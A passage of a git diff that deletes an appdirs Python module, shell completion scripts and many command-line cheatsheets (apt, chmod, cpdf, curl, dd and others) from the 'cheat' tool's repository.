buf) - dir = jna.Native.toString(buf.tostring()).rstrip("\0") - - # Downgrade to short path name if have highbit chars. See - # . - has_high_char = False - for c in dir: - if ord(c) > 255: - has_high_char = True - break - if has_high_char: - buf = array.zeros('c', buf_size) - kernel = win32.Kernel32.INSTANCE - if kernel.GetShortPathName(dir, buf, buf_size): - dir = jna.Native.toString(buf.tostring()).rstrip("\0") - - return dir - -if system == "win32": - try: - import win32com.shell - _get_win_folder = _get_win_folder_with_pywin32 - except ImportError: - try: - from ctypes import windll - _get_win_folder = _get_win_folder_with_ctypes - except ImportError: - try: - import com.sun.jna - _get_win_folder = _get_win_folder_with_jna - except ImportError: - _get_win_folder = _get_win_folder_from_registry - - -#---- self test code - -if __name__ == "__main__": - appname = "MyApp" - appauthor = "MyCompany" - - props = ("user_data_dir", - "user_config_dir", - "user_cache_dir", - "user_state_dir", - "user_log_dir", - "site_data_dir", - "site_config_dir") - - print("-- app dirs %s --" % __version__) - - print("-- app dirs (with optional 'version')") - dirs = AppDirs(appname, appauthor, version="1.0") - for prop in props: - print("%s: %s" % (prop, getattr(dirs, prop))) - - print("\n-- app dirs (without optional 'version')") - dirs = AppDirs(appname, appauthor) - for prop in props: - print("%s: %s" % (prop, getattr(dirs, prop))) - - print("\n-- app dirs (without optional 'appauthor')") - dirs = AppDirs(appname) - for prop in props: - print("%s: %s" % (prop, getattr(dirs, prop))) - - print("\n-- app dirs (with disabled 'appauthor')") - dirs = AppDirs(appname, appauthor=False) - for prop in props: - print("%s: %s" % (prop, getattr(dirs, prop))) diff --git a/cheat/autocompletion/cheat.bash b/cheat/autocompletion/cheat.bash deleted file mode 100644 index dbb05e6..0000000 --- a/cheat/autocompletion/cheat.bash +++ /dev/null @@ -1,9 +0,0 @@ -function _cheat_autocomplete { - sheets=$(cheat -l | cut -d' ' -f1) - COMPREPLY=() - if [ $COMP_CWORD = 1 ]; then - COMPREPLY=(`compgen -W "$sheets" -- $2`) - fi -} - -complete -F _cheat_autocomplete cheat diff --git a/cheat/autocompletion/cheat.fish b/cheat/autocompletion/cheat.fish deleted file mode 100644 index 9c6b1ca..0000000 --- a/cheat/autocompletion/cheat.fish +++ /dev/null @@ -1,12 +0,0 @@ -#completion for cheat -complete -c cheat -s h -l help -f -x --description "Display help and exit" -complete -c cheat -l edit -f -x --description "Edit " -complete -c cheat -s e -f -x --description "Edit " -complete -c cheat -s l -l list -f -x --description "List all available cheatsheets" -complete -c cheat -s d -l cheat-directories -f -x --description "List all current cheat dirs" -complete -c cheat --authoritative -f -for cheatsheet in (cheat -l | cut -d' ' -f1) - complete -c cheat -a "$cheatsheet" - complete -c cheat -o e -a "$cheatsheet" - complete -c cheat -o '-edit' -a "$cheatsheet" -end diff --git a/cheat/autocompletion/cheat.zsh b/cheat/autocompletion/cheat.zsh deleted file mode 100644 index be33b0b..0000000 --- a/cheat/autocompletion/cheat.zsh +++ /dev/null @@ -1,5 +0,0 @@ -#compdef cheat - -declare -a cheats -cheats=$(cheat -l | cut -d' ' -f1) -_arguments "1:cheats:(${cheats})" && return 0 diff --git a/cheat/cheatsheets/7z b/cheat/cheatsheets/7z deleted file mode 100644 index 26321c0..0000000 --- a/cheat/cheatsheets/7z +++ /dev/null @@ -1,29 +0,0 @@ -7z -A file archiver with highest compression ratio - -Args: -a add -d delete -e extract -l list -t test -u update -x extract with full paths - -Example: -7z a -t7z -m0=lzma -mx=9 -mfb=64 -md=32m -ms=on archive.7z dir1 - --t7z 7z archive --m0=lzma lzma method --mx=9 level of compression = 9 (ultra) --mfb=64 number of fast bytes for lzma = 64 --md=32m dictionary size = 32 Mb --ms=on solid archive = on - -7z exit codes: -0 normal (no errors or warnings) -1 warning (non-fatal errors) -2 fatal error -7 bad cli arguments -8 not enough memory for operation -255 process was interrupted diff --git a/cheat/cheatsheets/ab b/cheat/cheatsheets/ab deleted file mode 100644 index 60943c5..0000000 --- a/cheat/cheatsheets/ab +++ /dev/null @@ -1,5 +0,0 @@ -# send 100 requests with a concurency of 50 requests to an URL -ab -n 100 -c 50 http://www.example.com/ - -# send requests during 30 seconds with a concurency of 50 requests to an URL -ab -t 30 -c 50 URL http://www.example.com/ diff --git a/cheat/cheatsheets/alias b/cheat/cheatsheets/alias deleted file mode 100644 index 9bd98c1..0000000 --- a/cheat/cheatsheets/alias +++ /dev/null @@ -1,5 +0,0 @@ -# Show a list of your current shell aliases -alias - -# Map `ll` to `ls -l` (Can be used per session or put inside a shell config file) -alias ll='ls -l' diff --git a/cheat/cheatsheets/ansi b/cheat/cheatsheets/ansi deleted file mode 100644 index bb5a8b0..0000000 --- a/cheat/cheatsheets/ansi +++ /dev/null @@ -1,72 +0,0 @@ -# Reset -Color_Off='\e[0m' # Text Reset - -# Regular Colors -Black='\e[0;30m' # Black -Red='\e[0;31m' # Red -Green='\e[0;32m' # Green -Yellow='\e[0;33m' # Yellow -Blue='\e[0;34m' # Blue -Purple='\e[0;35m' # Purple -Cyan='\e[0;36m' # Cyan -White='\e[0;37m' # White - -# Bold -BBlack='\e[1;30m' # Black -BRed='\e[1;31m' # Red -BGreen='\e[1;32m' # Green -BYellow='\e[1;33m' # Yellow -BBlue='\e[1;34m' # Blue -BPurple='\e[1;35m' # Purple -BCyan='\e[1;36m' # Cyan -BWhite='\e[1;37m' # White - -# Underline -UBlack='\e[4;30m' # Black -URed='\e[4;31m' # Red -UGreen='\e[4;32m' # Green -UYellow='\e[4;33m' # Yellow -UBlue='\e[4;34m' # Blue -UPurple='\e[4;35m' # Purple -UCyan='\e[4;36m' # Cyan -UWhite='\e[4;37m' # White - -# Background -On_Black='\e[40m' # Black -On_Red='\e[41m' # Red -On_Green='\e[42m' # Green -On_Yellow='\e[43m' # Yellow -On_Blue='\e[44m' # Blue -On_Purple='\e[45m' # Purple -On_Cyan='\e[46m' # Cyan -On_White='\e[47m' # White - -# High Intensity -IBlack='\e[0;90m' # Black -IRed='\e[0;91m' # Red -IGreen='\e[0;92m' # Green -IYellow='\e[0;93m' # Yellow -IBlue='\e[0;94m' # Blue -IPurple='\e[0;95m' # Purple -ICyan='\e[0;96m' # Cyan -IWhite='\e[0;97m' # White - -# Bold High Intensity -BIBlack='\e[1;90m' # Black -BIRed='\e[1;91m' # Red -BIGreen='\e[1;92m' # Green -BIYellow='\e[1;93m' # Yellow -BIBlue='\e[1;94m' # Blue -BIPurple='\e[1;95m' # Purple -BICyan='\e[1;96m' # Cyan -BIWhite='\e[1;97m' # White - -# High Intensity backgrounds -On_IBlack='\e[0;100m' # Black -On_IRed='\e[0;101m' # Red -On_IGreen='\e[0;102m' # Green -On_IYellow='\e[0;103m' # Yellow -On_IBlue='\e[0;104m' # Blue -On_IPurple='\e[0;105m' # Purple -On_ICyan='\e[0;106m' # Cyan -On_IWhite='\e[0;107m' # White diff --git a/cheat/cheatsheets/apk b/cheat/cheatsheets/apk deleted file mode 100644 index 1d50596..0000000 --- a/cheat/cheatsheets/apk +++ /dev/null @@ -1,14 +0,0 @@ -# Install a package -apk add $package - -# Remove a package -apk del $package - -# Update repos -apk update - -# Upgrade all packages -apk upgrade - -# Find a package -apk search $package diff --git a/cheat/cheatsheets/apparmor b/cheat/cheatsheets/apparmor deleted file mode 100644 index 3e6d337..0000000 --- a/cheat/cheatsheets/apparmor +++ /dev/null @@ -1,18 +0,0 @@ -# Desc: Apparmor will protect the system by confining programs to a limited set of resources. - -# To activate a profile: -sudo aa-enforce usr.bin.firefox -# OR -export _PROFILE_='usr.bin.firefox' sudo $(rm /etc/apparmor.d/disable/$_PROFILE_ ; cat /etc/apparmor.d/$_PROFILE_ | apparmor_parser -a ) - -# TO disable a profile: -sudo aa-disable usr.bin.firefox -# OR -export _PROFILE_='usr.bin.firefox' sudo $(ln -s /etc/apparmor.d/$_PROFILE_ /etc/apparmor.d/disable/ && apparmor_parser -R /etc/apparmor.d/$_PROFILE_) - -# To list profiles loaded: -sudo aa-status -# OR -sudo apparmor_status - -# List of profiles aviables: /etc/apparmor.d/ diff --git a/cheat/cheatsheets/apt b/cheat/cheatsheets/apt deleted file mode 100644 index 07ae3f4..0000000 --- a/cheat/cheatsheets/apt +++ /dev/null @@ -1,23 +0,0 @@ -# To search a package: -apt search package - -# To show package informations: -apt show package - -# To fetch package list: -apt update - -# To download and install updates without installing new package: -apt upgrade - -# To download and install the updates AND install new necessary packages: -apt dist-upgrade - -# Full command: -apt update && apt dist-upgrade - -# To install a new package(s): -apt install package(s) - -# To uninstall package(s) -apt remove package(s) diff --git a/cheat/cheatsheets/apt-cache b/cheat/cheatsheets/apt-cache deleted file mode 100644 index 6d34ef6..0000000 --- a/cheat/cheatsheets/apt-cache +++ /dev/null @@ -1,12 +0,0 @@ -# To search for apt packages: -apt-cache search "whatever" - -# To display package records for the named package(s): -apt-cache show pkg(s) - -# To display reverse dependencies of a package -apt-cache rdepends package_name - -# To display package versions, reverse dependencies and forward dependencies -# of a package -apt-cache showpkg package_name diff --git a/cheat/cheatsheets/apt-get b/cheat/cheatsheets/apt-get deleted file mode 100644 index b0347ce..0000000 --- a/cheat/cheatsheets/apt-get +++ /dev/null @@ -1,28 +0,0 @@ -# Desc: Allows to update the operating system - -# To fetch package list -apt-get update - -# To download and install updates without installing new package. -apt-get upgrade - -# To download and install the updates AND install new necessary packages -apt-get dist-upgrade - -# Full command: -apt-get update && apt-get dist-upgrade - -# To install a new package(s) -apt-get install package(s) - -# Download a package without installing it. (The package will be downloaded in your current working dir) -apt-get download modsecurity-crs - -# Change Cache dir and archive dir (where .deb are stored). -apt-get -o Dir::Cache="/path/to/destination/dir/" -o Dir::Cache::archives="./" install ... - -# Show apt-get installed packages. -grep 'install ' /var/log/dpkg.log - -# Silently keep old configuration during batch updates -apt-get update -o DPkg::Options::='--force-confold' ... diff --git a/cheat/cheatsheets/aptitude b/cheat/cheatsheets/aptitude deleted file mode 100644 index a837979..0000000 --- a/cheat/cheatsheets/aptitude +++ /dev/null @@ -1,15 +0,0 @@ -# To search for packages: -aptitude search "whatever" - -# To display package records for the named package(s): -aptitude show pkg(s) - -# To install a package: -aptitude install package - -# To remove a package: -aptitude remove package - -# To remove unnecessary package: -aptitude autoclean - diff --git a/cheat/cheatsheets/aria2c b/cheat/cheatsheets/aria2c deleted file mode 100644 index 265e0b3..0000000 --- a/cheat/cheatsheets/aria2c +++ /dev/null @@ -1,12 +0,0 @@ -# Just download a file -# The url can be a http(s), ftp, .torrent file or even a magnet link -aria2c - -# To prevent downloading the .torrent file -aria2c --follow-torrent=mem - -# Download 1 file at a time (-j) -# continuing (-c) any partially downloaded ones -# to the directory specified (-d) -# reading urls from the file (-i) -aria2c -j 1 -c -d ~/Downloads -i /path/to/file diff --git a/cheat/cheatsheets/asciiart b/cheat/cheatsheets/asciiart deleted file mode 100644 index 5656e3d..0000000 --- a/cheat/cheatsheets/asciiart +++ /dev/null @@ -1,22 +0,0 @@ -# To show some text in ASCII Art: - -figlet Cheat -# ____ _ _ -# / ___| |__ ___ __ _| |_ -#| | | '_ \ / _ \/ _` | __| -#| |___| | | | __/ (_| | |_ -# \____|_| |_|\___|\__,_|\__| -# - - -# To have some text with color and other options: -# Show with a border -toilet -F border Cheat -# Basic show (filled) -toilet Cheat -# mmm # m -# m" " # mm mmm mmm mm#mm -# # #" # #" # " # # -# # # # #"""" m"""# # -# "mmm" # # "#mm" "mm"# "mm -# diff --git a/cheat/cheatsheets/asterisk b/cheat/cheatsheets/asterisk deleted file mode 100644 index df2c02b..0000000 --- a/cheat/cheatsheets/asterisk +++ /dev/null @@ -1,17 +0,0 @@ -# To connect to a running Asterisk session: -asterisk -rvvv - -# To issue a command to Asterisk from the shell: -asterisk -rx "" - -# To originate an echo call from a SIP trunk on an Asterisk server, to a specified number: -asterisk -rx "channel originate SIP// application echo" - -# To print out the details of SIP accounts: -asterisk -rx "sip show peers" - -# To print out the passwords of SIP accounts: -asterisk -rx "sip show users" - -# To print out the current active channels: -asterisk -rx "core show channels" diff --git a/cheat/cheatsheets/at b/cheat/cheatsheets/at deleted file mode 100644 index 2827a45..0000000 --- a/cheat/cheatsheets/at +++ /dev/null @@ -1,17 +0,0 @@ -# To schedule a one time task -at {time} -{command 0} -{command 1} -Ctrl-d - -# {time} can be either -now | midnight | noon | teatime (4pm) -HH:MM -now + N {minutes | hours | days | weeks} -MM/DD/YY - -# To list pending jobs -atq - -# To remove a job (use id from atq) -atrm {id} diff --git a/cheat/cheatsheets/awk b/cheat/cheatsheets/awk deleted file mode 100644 index 14d07de..0000000 --- a/cheat/cheatsheets/awk +++ /dev/null @@ -1,11 +0,0 @@ -# sum integers from a file or stdin, one integer per line: -printf '1\n2\n3\n' | awk '{ sum += $1} END {print sum}' - -# using specific character as separator to sum integers from a file or stdin -printf '1:2:3' | awk -F ":" '{print $1+$2+$3}' - -# print a multiplication table -seq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR, i==NR?"\n":"\t")}' - -# Specify output separator character -printf '1 2 3' | awk 'BEGIN {OFS=":"}; {print $1,$2,$3}' diff --git a/cheat/cheatsheets/bash b/cheat/cheatsheets/bash deleted file mode 100644 index 571b3ca..0000000 --- a/cheat/cheatsheets/bash +++ /dev/null @@ -1,27 +0,0 @@ -# To implement a for loop: -for file in *; -do - echo $file found; -done - -# To implement a case command: -case "$1" -in - 0) echo "zero found";; - 1) echo "one found";; - 2) echo "two found";; - 3*) echo "something beginning with 3 found";; -esac - -# Turn on debugging: -set -x - -# Turn off debugging: -set +x - -# Retrieve N-th piped command exit status -printf 'foo' | fgrep 'foo' | sed 's/foo/bar/' -echo ${PIPESTATUS[0]} # replace 0 with N - -# Lock file: -( set -o noclobber; echo > my.lock ) || echo 'Failed to create lock file' diff --git a/cheat/cheatsheets/bower b/cheat/cheatsheets/bower deleted file mode 100644 index da29ebd..0000000 --- a/cheat/cheatsheets/bower +++ /dev/null @@ -1,26 +0,0 @@ -# Install a package locally -bower install - -# Install a package locally directly from github -bower install / - -# Install a specific package locally -bower install # - -# Install a package locally and save installed package into bower.json -bower install --save - -# Retrieve info of a particular package -bower info - -# List local packages -bower list - -# Search for a package by name -bower search - -# Update a package to their newest version -bower update - -# Remove a local package -bower uninstall diff --git a/cheat/cheatsheets/bzip2 b/cheat/cheatsheets/bzip2 deleted file mode 100644 index 4003a50..0000000 --- a/cheat/cheatsheets/bzip2 +++ /dev/null @@ -1,11 +0,0 @@ -# compress foo -> foo.bz2 -bzip2 -z foo - -# decompress foo.bz2 -> foo -bzip2 -d foo.bz2 - -# compress foo to stdout -bzip2 -zc foo > foo.bz2 - -# decompress foo.bz2 to stdout -bzip2 -dc foo.bz2 diff --git a/cheat/cheatsheets/cat b/cheat/cheatsheets/cat deleted file mode 100644 index 69a25d0..0000000 --- a/cheat/cheatsheets/cat +++ /dev/null @@ -1,8 +0,0 @@ -# Display the contents of a file -cat /path/to/foo - -# Display contents with line numbers -cat -n /path/to/foo - -# Display contents with line numbers (blank lines excluded) -cat -b /path/to/foo diff --git a/cheat/cheatsheets/cd b/cheat/cheatsheets/cd deleted file mode 100644 index d07a168..0000000 --- a/cheat/cheatsheets/cd +++ /dev/null @@ -1,11 +0,0 @@ -#Go to the given directory -cd path/to/directory - -#Go to home directory of current user -cd - -#Go up to the parent of the current directory -cd .. - -#Go to the previously chosen directory -cd - diff --git a/cheat/cheatsheets/cheat b/cheat/cheatsheets/cheat deleted file mode 100644 index 0bfb78d..0000000 --- a/cheat/cheatsheets/cheat +++ /dev/null @@ -1,14 +0,0 @@ -# To see example usage of a program: -cheat - -# To edit a cheatsheet -cheat -e - -# To list available cheatsheets -cheat -l - -# To search available cheatsheets -cheat -s - -# To get the current `cheat' version -cheat -v diff --git a/cheat/cheatsheets/chmod b/cheat/cheatsheets/chmod deleted file mode 100644 index 31c5eb7..0000000 --- a/cheat/cheatsheets/chmod +++ /dev/null @@ -1,36 +0,0 @@ -# Add execute for all (myscript.sh) -chmod a+x myscript.sh - -# Set user to read/write/execute, group/global to read only (myscript.sh), symbolic mode -chmod u=rwx, go=r myscript.sh - -# Remove write from user/group/global (myscript.sh), symbolic mode -chmod a-w myscript.sh - -# Remove read/write/execute from user/group/global (myscript.sh), symbolic mode -chmod = myscript.sh - -# Set user to read/write and group/global read (myscript.sh), octal notation -chmod 644 myscript.sh - -# Set user to read/write/execute and group/global read/execute (myscript.sh), octal notation -chmod 755 myscript.sh - -# Set user/group/global to read/write (myscript.sh), octal notation -chmod 666 myscript.sh - -# Roles -u - user (owner of the file) -g - group (members of file's group) -o - global (all users who are not owner and not part of group) -a - all (all 3 roles above) - -# Numeric representations -7 - full (rwx) -6 - read and write (rw-) -5 - read and execute (r-x) -4 - read only (r--) -3 - write and execute (-wx) -2 - write only (-w-) -1 - execute only (--x) -0 - none (---) diff --git a/cheat/cheatsheets/chown b/cheat/cheatsheets/chown deleted file mode 100644 index f831459..0000000 --- a/cheat/cheatsheets/chown +++ /dev/null @@ -1,11 +0,0 @@ -# Change file owner -chown user file - -# Change file owner and group -chown user:group file - -# Change owner recursively -chown -R user directory - -# Change ownership to match another file -chown --reference=/path/to/ref_file file diff --git a/cheat/cheatsheets/convert b/cheat/cheatsheets/convert deleted file mode 100644 index 1472f4a..0000000 --- a/cheat/cheatsheets/convert +++ /dev/null @@ -1,19 +0,0 @@ -# To resize an image to a fixed width and proportional height: -convert original-image.jpg -resize 100x converted-image.jpg - -# To resize an image to a fixed height and proportional width: -convert original-image.jpg -resize x100 converted-image.jpg - -# To resize an image to a fixed width and height: -convert original-image.jpg -resize 100x100 converted-image.jpg - -# To resize an image and simultaneously change its file type: -convert original-image.jpg -resize 100x converted-image.png - -# To resize all of the images within a directory: -# To implement a for loop: -for file in `ls original/image/path/`; - do new_path=${file%.*}; - new_file=`basename $new_path`; - convert $file -resize 150 converted/image/path/$new_file.png; -done diff --git a/cheat/cheatsheets/cp b/cheat/cheatsheets/cp deleted file mode 100644 index 7003e2c..0000000 --- a/cheat/cheatsheets/cp +++ /dev/null @@ -1,11 +0,0 @@ -# Create a copy of a file -cp ~/Desktop/foo.txt ~/Downloads/foo.txt - -# Create a copy of a directory -cp -r ~/Desktop/cruise_pics/ ~/Pictures/ - -# Create a copy but ask to overwrite if the destination file already exists -cp -i ~/Desktop/foo.txt ~/Documents/foo.txt - -# Create a backup file with date -cp foo.txt{,."$(date +%Y%m%d-%H%M%S)"} diff --git a/cheat/cheatsheets/cpdf b/cheat/cheatsheets/cpdf deleted file mode 100644 index 61c7243..0000000 --- a/cheat/cheatsheets/cpdf +++ /dev/null @@ -1,132 +0,0 @@ -# Read in.pdf, select pages 1, 2, 3 and 6, and write those pages to -# out.pdf -cpdf in.pdf 1-3,6 -o out.pdf - -# Select the even pages (2, 4, 6...) from in.pdf and write those pages -# to out.pdf -cpdf in.pdf even -o out.pdf - -# Using AND to perform several operations in order, here merging two -# files together and adding a copyright stamp to every page. -cpdf -merge in.pdf in2.pdf AND -add-text "Copyright 2014" -o out.pdf - -# Read control.txt and use its contents as the command line arguments -# for cpdf. -cpdf -control control.txt - -# Merge in.pdf and in2.pdf into one document, writing to out.pdf. -cpdf -merge in.pdf in2.pdf -o out.pdf - -# Split in.pdf into ten-page chunks, writing them to Chunk001.pdf, -# Chunk002.pdf etc -cpdf -split in.pdf -o Chunk%%%.pdf -chunk 10 - -# Split in.pdf on bookmark boundaries, writing each to a file whose -# name is the bookmark label -cpdf -split-bookmarks 0 in.pdf -o @N.pdf - -# Scale both the dimensions and contents of in.pdf by a factor of two -# in x and y directions. -cpdf -scale-page "2 2" in.pdf -o out.pdf - -# Scale the pages in in.pdf to fit the US Letter page size, writing to -# out.pdf -cpdf -scale-to-fit usletterportrait in.pdf -o out.pdf - -# Shift the contents of the page by 26 pts in the x direction, and 18 -# millimetres in the y direction, writing to out.pdf -cpdf -shift "26pt 18mm" in.pdf -o out.pdf - -# Rotate the contents of the pages in in.pdf by ninety degrees and -# write to out.pdf. -cpdf -rotate-contents 90 in.pdf -o out.pdf - -# Crop the pages in in.pdf to a 600 pts by 400 pts rectangle. -cpdf -crop "0 0 600pt 400pt" in.pdf -o out.pdf - -# Encrypt using 128bit PDF encryption using the owner password 'fred' -# and the user password 'joe' -cpdf -encrypt 128bit fred joe in.pdf -o out.pdf - -# Decrypt using the owner password, writing to out.pdf. -cpdf -decrypt in.pdf owner=fred -o out.pdf - -# Compress the data streams in in.pdf, writing the result to out.pdf. -cpdf -compress in.pdf -o out.pdf - -# Decompress the data streams in in.pdf, writing to out.pdf. -cpdf -decompress in.pdf -o out.pdf - -# List the bookmarks in in.pdf. This would produce: -cpdf -list-bookmarks in.pdf - -# Outputs: - -# Add bookmarks in the same form from a prepared file bookmarks.txt to -# in.pdf, writing to out.pdf. -cpdf -add-bookmarks bookmarks.txt in.pdf -o out.pdf - -# Use the Split style to build a presentation from the PDF in.pdf, -# each slide staying 10 seconds on screen unless manually advanced. -# The first page, being a title does not move on automatically, and -# has no transition effect. -cpdf -presentation in.pdf 2-end -trans Split -duration 10 -o out.pdf - -# Stamp the file watermark.pdf on to each page of in.pdf, writing the -# result to out.pdf. -cpdf -stamp-on watermark.pdf in.pdf -o out.pdf - -# Add a page number and date to all the pages in in.pdf using the -# Courier font, writing to out.pdf -cpdf -topleft 10 -font Courier -add-text "Page %Page\nDate %d-%m-%Y" in.pdf -o out.pdf - -# Two up impose the file in.pdf, writing to out.pdf -cpdf -twoup-stack in.pdf -o out.pdf - -# Add extra blank pages after pages one, three and four of a document. -cpdf -pad-after 1,3,4 in.pdf -o out.pdf - -# List the annotations in a file in.pdf to standard output. -cpdf -list-annotations in.pdf - -# Might Produce: - -# -- # Annotation text content 1 # -- # -- # Annotation text content 2 -# -- - -# Copy the annotations from from.pdf to in.pdf, writing to out.pdf. -cpdf -copy-annotations from.pdf in.pdf -o out.pdf - -# Set the document title of in.pdf. writing to out.pdf. -cpdf -set-title "The New Title" in.pdf -o out.pdf - -# Set the document in.pdf to open with the Acrobat Viewer's toolbar -# hidden, writing to out.pdf. -cpdf -hide-toolbar true in.pdf -o out.pdf - -# Set the metadata in a PDF in.pdf to the contents of the file -# metadata.xml, and write the output to out.pdf. -cpdf -set-metadata metadata.xml in.pdf -o out.pdf - -# Set the document in.pdf to open in Acrobat Viewer showing two -# columns of pages, starting on the right, putting the result in -# out.pdf. -cpdf -set-page-layout TwoColumnRight in.pdf -o out.pdf - -# Set the document in.pdf to open in Acrobat Viewer in full screen -# mode, putting the result in out.pdf. -cpdf -set-page-mode FullScreen in.pdf -o out.pdf - -# Attach the file sheet.xls to in.pdf, writing to out.pdf. -cpdf -attach-file sheet.xls in.pdf -o out.pdf - -# Remove any attachments from in.pdf, writing to out.pdf. -cpdf -remove-files in.pdf -o out.pdf - -# Blacken all the text in in.pdf, writing to out.pdf. -cpdf -blacktext in.pdf -o out.pdf - -# Make sure all lines in in.pdf are at least 2 pts wide, writing to -# out.pdf. -cpdf -thinlines 2pt in.pdf -o out.pdf - diff --git a/cheat/cheatsheets/crontab b/cheat/cheatsheets/crontab deleted file mode 100644 index 6ddb6b6..0000000 --- a/cheat/cheatsheets/crontab +++ /dev/null @@ -1,22 +0,0 @@ -# set a shell -SHELL=/bin/bash - -# crontab format -* * * * * command_to_execute -- - - - - -| | | | | -| | | | +- day of week (0 - 7) (where sunday is 0 and 7) -| | | +--- month (1 - 12) -| | +----- day (1 - 31) -| +------- hour (0 - 23) -+--------- minute (0 - 59) - -# example entries -# every 15 min -*/15 * * * * /home/user/command.sh - -# every midnight -0 0 * * * /home/user/command.sh - -# every Saturday at 8:05 AM -5 8 * * 6 /home/user/command.sh diff --git a/cheat/cheatsheets/cryptsetup b/cheat/cheatsheets/cryptsetup deleted file mode 100644 index 1f773a9..0000000 --- a/cheat/cheatsheets/cryptsetup +++ /dev/null @@ -1,8 +0,0 @@ -# open encrypted partition /dev/sdb1 (reachable at /dev/mapper/backup) -cryptsetup open --type luks /dev/sdb1 backup - -# open encrypted partition /dev/sdb1 using a keyfile (reachable at /dev/mapper/hdd) -cryptsetup open --type luks --key-file hdd.key /dev/sdb1 hdd - -# close luks container at /dev/mapper/hdd -cryptsetup close hdd diff --git a/cheat/cheatsheets/csplit b/cheat/cheatsheets/csplit deleted file mode 100644 index 6d7d8ef..0000000 --- a/cheat/cheatsheets/csplit +++ /dev/null @@ -1,5 +0,0 @@ -# Split a file based on pattern -csplit input.file '/PATTERN/' - -# Use prefix/suffix to improve resulting file names -csplit -f 'prefix-' -b '%d.extension' input.file '/PATTERN/' '{*}' diff --git a/cheat/cheatsheets/cups b/cheat/cheatsheets/cups deleted file mode 100644 index b1b7924..0000000 --- a/cheat/cheatsheets/cups +++ /dev/null @@ -1,22 +0,0 @@ -# Manage printers through CUPS: -http://localhost:631 (in web browser) - -# Print file from command line -lp myfile.txt - -# Display print queue -lpq - -# Remove print job from queue -lprm 545 -or -lprm - - -# Print log location -/var/log/cups - -# Reject new jobs -cupsreject printername - -# Accept new jobs -cupsaccept printername diff --git a/cheat/cheatsheets/curl b/cheat/cheatsheets/curl deleted file mode 100644 index c7bc8de..0000000 --- a/cheat/cheatsheets/curl +++ /dev/null @@ -1,41 +0,0 @@ -# Download a single file -curl http://path.to.the/file - -# Download a file and specify a new filename -curl http://example.com/file.zip -o new_file.zip - -# Download multiple files -curl -O URLOfFirstFile -O URLOfSecondFile - -# Download all sequentially numbered files (1-24) -curl http://example.com/pic[1-24].jpg - -# Download a file and pass HTTP Authentication -curl -u username:password URL - -# Download a file with a Proxy -curl -x proxysever.server.com:PORT http://addressiwantto.access - -# Download a file from FTP -curl -u username:password -O ftp://example.com/pub/file.zip - -# Get an FTP directory listing -curl ftp://username:password@example.com - -# Resume a previously failed download -curl -C - -o partial_file.zip http://example.com/file.zip - -# Fetch only the HTTP headers from a response -curl -I http://example.com - -# Fetch your external IP and network info as JSON -curl http://ifconfig.me/all.json - -# Limit the rate of a download -curl --limit-rate 1000B -O http://path.to.the/file - -# Get your global IP -curl httpbin.org/ip - -# Get only the HTTP status code -curl -o /dev/null -w '%{http_code}\n' -s -I URL diff --git a/cheat/cheatsheets/cut b/cheat/cheatsheets/cut deleted file mode 100644 index 1e7939f..0000000 --- a/cheat/cheatsheets/cut +++ /dev/null @@ -1,2 +0,0 @@ -# To cut out the third field of text or stdoutput that is delimited by a #: -cut -d# -f3 diff --git a/cheat/cheatsheets/date b/cheat/cheatsheets/date deleted file mode 100644 index 036887e..0000000 --- a/cheat/cheatsheets/date +++ /dev/null @@ -1,8 +0,0 @@ -# Print date in format suitable for affixing to file names -date +"%Y%m%d_%H%M%S" - -# Convert Unix timestamp to Date(Linux) -date -d @1440359821 - -# Convert Unix timestamp to Date(Mac) -date -r 1440359821 diff --git a/cheat/cheatsheets/dd b/cheat/cheatsheets/dd deleted file mode 100644 index 88d7f4a..0000000 --- a/cheat/cheatsheets/dd +++ /dev/null @@ -1,22 +0,0 @@ -# Read from {/dev/urandom} 2*512 Bytes and put it into {/tmp/test.txt} -# Note: At the first iteration, we read 512 Bytes. -# Note: At the second iteration, we read 512 Bytes. -dd if=/dev/urandom of=/tmp/test.txt count=2 bs=512 - -# Watch the progress of 'dd' -dd if=/dev/zero of=/dev/null bs=4KB &; export dd_pid=`pgrep '^dd'`; while [[ -d /proc/$dd_pid ]]; do kill -USR1 $dd_pid && sleep 1 && clear; done - -# Watch the progress of 'dd' with `pv` and `dialog` (apt-get install pv dialog) -(pv -n /dev/zero | dd of=/dev/null bs=128M conv=notrunc,noerror) 2>&1 | dialog --gauge "Running dd command (cloning), please wait..." 10 70 0 - -# Watch the progress of 'dd' with `pv` and `zenity` (apt-get install pv zenity) -(pv -n /dev/zero | dd of=/dev/null bs=128M conv=notrunc,noerror) 2>&1 | zenity --title 'Running dd command (cloning), please wait...' --progress - -# Watch the progress of 'dd' with the built-in `progress` functionality (introduced in coreutils v8.24) -dd if=/dev/zero of=/dev/null bs=128M status=progress - -# DD with "graphical" return -dcfldd if=/dev/zero of=/dev/null bs=500K - -# This will output the sound from your microphone port to the ssh target computer's speaker port. The sound quality is very bad, so you will hear a lot of hissing. -dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp diff --git a/cheat/cheatsheets/deb b/cheat/cheatsheets/deb deleted file mode 100644 index f2e5d9d..0000000 --- a/cheat/cheatsheets/deb +++ /dev/null @@ -1,7 +0,0 @@ -# Extract contents of a .deb file -$ ar vx foo.deb # -> data.tar.gz -$ tar xf data.tar.gz - -# Install .deb file to a debian like system, e.g. ubuntu -$ sudo dpkg -i foo.deb -$ sudo apt-get install -f diff --git a/cheat/cheatsheets/df b/cheat/cheatsheets/df deleted file mode 100644 index c91f6e4..0000000 --- a/cheat/cheatsheets/df +++ /dev/null @@ -1,2 +0,0 @@ -# Printout disk free space in a human readable format -df -h diff --git a/cheat/cheatsheets/dhclient b/cheat/cheatsheets/dhclient deleted file mode 100644 index 1e2ee60..0000000 --- a/cheat/cheatsheets/dhclient +++ /dev/null @@ -1,10 +0,0 @@ -# To release the current IP address: -sudo dhclient -r - -# To obtain a new IP address: -sudo dhclient - -# Running the above in sequence is a common way of refreshing an IP. - -# To obtain a new IP address for a specific interface: -sudo dhclient eth0 diff --git a/cheat/cheatsheets/diff b/cheat/cheatsheets/diff deleted file mode 100644 index f998808..0000000 --- a/cheat/cheatsheets/diff +++ /dev/null @@ -1,26 +0,0 @@ -# To view the differences between two files: -diff -u version1 version2 - -# To view the differences between two directories: -diff -ur folder1/ folder2/ - -# To ignore the white spaces: -diff -ub version1 version2 - -# To ignore the blank lines: -diff -uB version1 version2 - -# To ignore the differences between uppercase and lowercase: -diff -ui version1 version2 - -# To report whether the files differ: -diff -q version1 version2 - -# To 